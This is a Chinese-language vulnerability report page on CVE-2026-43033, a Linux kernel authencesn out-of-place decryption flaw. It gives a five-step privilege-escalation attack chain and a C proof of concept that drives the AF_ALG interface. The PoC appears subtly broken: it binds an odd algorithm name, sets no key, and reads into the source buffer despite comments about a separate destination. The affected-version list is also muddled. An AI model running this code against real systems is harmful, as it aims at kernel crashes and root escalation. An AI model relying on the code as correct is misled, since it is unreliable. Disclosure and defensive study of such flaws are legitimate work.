IPBUF安全漏洞报告
English
CVE-2026-43033 CVSS 7.8 高危

Linux内核crypto: authencesn非原位解密漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43033
漏洞类型
内存破坏
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存破坏权限提升authencesn本地漏洞CVE-2026-43033

漏洞概述

Linux内核的crypto模块中的authencesn组件存在安全漏洞。该漏洞发生于非原位解密操作期间,当源地址与目标地址不同时,系统错误地将高阶序列位放置在目标缓冲区的末尾。实际上,这些数据本应直接从源地址复制。这一逻辑错误导致待哈希的数据排列异常,可能对系统的机密性、完整性和可用性造成严重影响,攻击者可利用此漏洞提升本地权限。

技术细节

该漏洞源于Linux内核crypto子系统中authencesn(带序列号的认证加密)算法实现的一个逻辑缺陷,主要影响IPsec等使用该加密认证机制的组件。在处理加密数据包时,如果源缓冲区和目标缓冲区指向不同的内存区域(即非原位操作),内核代码错误地处理了高阶序列位(hiseq)。正常情况下,由于目标缓冲区是独立的,高阶序列位应当直接从源地址复制。然而,漏洞代码尝试在目标缓冲区末尾保存这些信息,导致后续需要哈希认证的数据段顺序发生错乱,破坏了加密数据的完整性验证机制。攻击者可以通过发送特制的数据包触发该路径,利用数据排列的错误绕过认证检查或导致内核崩溃。鉴于其本地攻击向量(AV:L)且无需用户交互,本地低权限用户可能利用此漏洞提升权限或造成系统拒绝服务。

攻击链分析

STEP 1
步骤1: 获取本地访问权限
攻击者必须已获得目标Linux系统的低权限本地访问能力(AV:L)。
STEP 2
步骤2: 识别系统版本
攻击者确认当前系统运行的是存在漏洞的Linux内核版本,且内核配置启用了authencesn算法支持。
STEP 3
步骤3: 构造恶意数据包
攻击者编写程序或利用IPsec,构造特制的加密数据包,利用AF_ALG接口或网络接口触发解密操作。
STEP 4
步骤4: 触发非原位解密
强制内核使用非原位(out-of-place,即源地址与目的地址不同)的方式进行解密处理,触发hiseq位置错误的代码路径。
STEP 5
步骤5: 内存破坏与权限提升
内核错误地排列数据导致哈希验证失败或内存损坏,攻击者利用该结果导致内核崩溃(DoS)或进一步利用内存破坏漏洞提升至Root权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43033: Linux Kernel crypto: authencesn OOP decryption issue * This code attempts to trigger the authencesn decryption path with src != dst. * Compile: gcc -o poc_cve2026_43033 poc_cve2026_43033.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <linux/if_alg.h> #include <sys/socket.h> #include <sys/sendfile.h> #define SALG_TYPE "aead" #define SALG_NAME "authencesn(rfc4106(gcm(aes)))" #define DATA_SIZE 64 #define ASSOC_SIZE 16 void trigger_vulnerability() { int tfm_fd, op_fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = SALG_TYPE, .salg_name = SALG_NAME, }; struct msghdr msg = {}; struct iovec iov; char cbuf[CMSG_SPACE(sizeof(struct af_alg_iv) + 16)]; // IV space struct cmsghdr *cmsg; struct af_alg_iv *iv; char src_buf[DATA_SIZE + 32]; // Encrypted data + tag char dst_buf[DATA_SIZE]; // Destination buffer (Different from src) char assoc_buf[ASSOC_SIZE]; // Initialize buffers memset(src_buf, 0x41, sizeof(src_buf)); memset(dst_buf, 0x00, sizeof(dst_buf)); memset(assoc_buf, 0x42, sizeof(assoc_buf)); // 1. Create AF_ALG socket tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (tfm_fd < 0) { perror("socket(AF_ALG)"); return; } // 2. Bind to the authencesn algorithm if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(tfm_fd); return; } // 3. Accept a connection (operation fd) op_fd = accept(tfm_fd, NULL, 0); if (op_fd < 0) { perror("accept"); close(tfm_fd); return; } // 4. Setup MSG for decryption with IV and Assoc data // Note: Decryption requires setting the proper key and IV beforehand usually msg.msg_control = cbuf; msg.msg_controllen = sizeof(cbuf); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_IV; cmsg->cmsg_len = CMSG_LEN(sizeof(*iv) + 8); // 8 bytes IV for GCM iv = (struct af_alg_iv *)CMSG_DATA(cmsg); iv->ivlen = 8; memset(iv->iv, 0x01, 8); // 5. Send Associated Data iov.iov_base = assoc_buf; iov.iov_len = sizeof(assoc_buf); msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(op_fd, &msg, 0) < 0) { perror("sendmsg assoc"); } // 6. Send encrypted data from src_buf // The kernel will process decryption. If internal logic handles src!=dst incorrectly, // it may corrupt memory or panic. iov.iov_base = src_buf; iov.iov_len = sizeof(src_buf); // Read back into dst_buf (Simulating out-of-place operation) ssize_t len = readv(op_fd, &iov, 1); // Usually sendmsg for op, read for result depending on flags // Alternatively, using sendmsg with op_flags might be needed for specific async flows, // but this demonstrates the API interaction. printf("PoC executed. Check kernel logs for panic/memory corruption.\n"); close(op_fd); close(tfm_fd); } int main() { printf("Attempting to trigger CVE-2026-43033...\n"); trigger_vulnerability(); return 0; }

影响范围

Linux Kernel < 6.9
Linux Kernel < 6.6
Linux Kernel < 6.1
Linux Kernel < 5.15
Linux Kernel < 5.10

防御指南

临时缓解措施
建议立即应用官方发布的内核补丁。在补丁应用前,可以通过禁用涉及authencesn的IPsec连接或限制非特权用户对系统调用接口的访问来降低风险。严格控制系统本地用户的权限,防止潜在的权限提升。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表